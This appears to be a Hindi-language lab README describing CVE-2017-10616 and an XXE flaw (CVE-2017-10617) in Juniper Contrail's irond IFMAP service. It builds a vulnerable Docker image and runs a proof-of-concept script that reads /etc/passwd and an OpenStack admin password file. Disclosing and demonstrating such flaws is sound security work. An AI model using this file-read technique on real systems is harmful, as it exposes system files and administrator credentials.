
Contrail: हार्डकोडेड क्रेडेंशियल (CVE-2017-10616) और XML एक्सटर्नल एंटिटी (XXE) भेद्यता (CVE-2017-10617)
ये दो कमजोरियाँ Juniper Contrail संस्करण 2.2, 3.0, 3.1 और 3.2 को प्रभावित करती हैं:
विक्रेता सुरक्षा बुलेटिन Juniper Security Alert JSA10819 2017-10 पर पाया जा सकता है।
Contrail उत्पाद में कमजोर सेवा एक IFMAP डेमॉन है, जिसे irond से पैकेज किया गया है। चीजों को सरल रखने के लिए, आइए irond और XXE कमजोरी के शोषण के साथ आगे बढ़ते हैं।
हम सभी खेलना पसंद करते हैं। इमेज बनाने के लिए:
$ cd vulnerable-irond
$ docker build -t vulnerable-irond .
यह इमेज maven alpine इमेज पर आधारित है, जिसमें irond रिपोजिटरी का क्लोन है।
Contrail की सेटअप से मेल खाने वाली एक परीक्षण फ़ाइल कमजोर इमेज पर /etc/contrail/openstackrc पर रखी गई है। इस फ़ाइल में OpenStack एडमिन पासवर्ड है, जो एक काफी संवेदनशील संपत्ति है।
एक कमजोर IFMAP सेवा शुरू करने के लिए:
$ docker run -ti --rm -p 8443:8443 vulnerable-irond
IFMAP सेवा अब स्थानीय मशीन के पोर्ट 8443 पर उपलब्ध है।
एक बार कमजोर IFMAP सेवा सेटअप हो जाने पर, निम्नलिखित करें:
$ ./poc-xxe.py -g /etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
...
$ ./poc-xxe.py -g /etc/contrail/openstackrc
export OS_USERNAME=admin
export OS_PASSWORD=6b000a589c700b077ef9729513e5d6fc
...
यह प्रभावी रूप से OpenStack एडमिन पासवर्ड प्रकट करता है।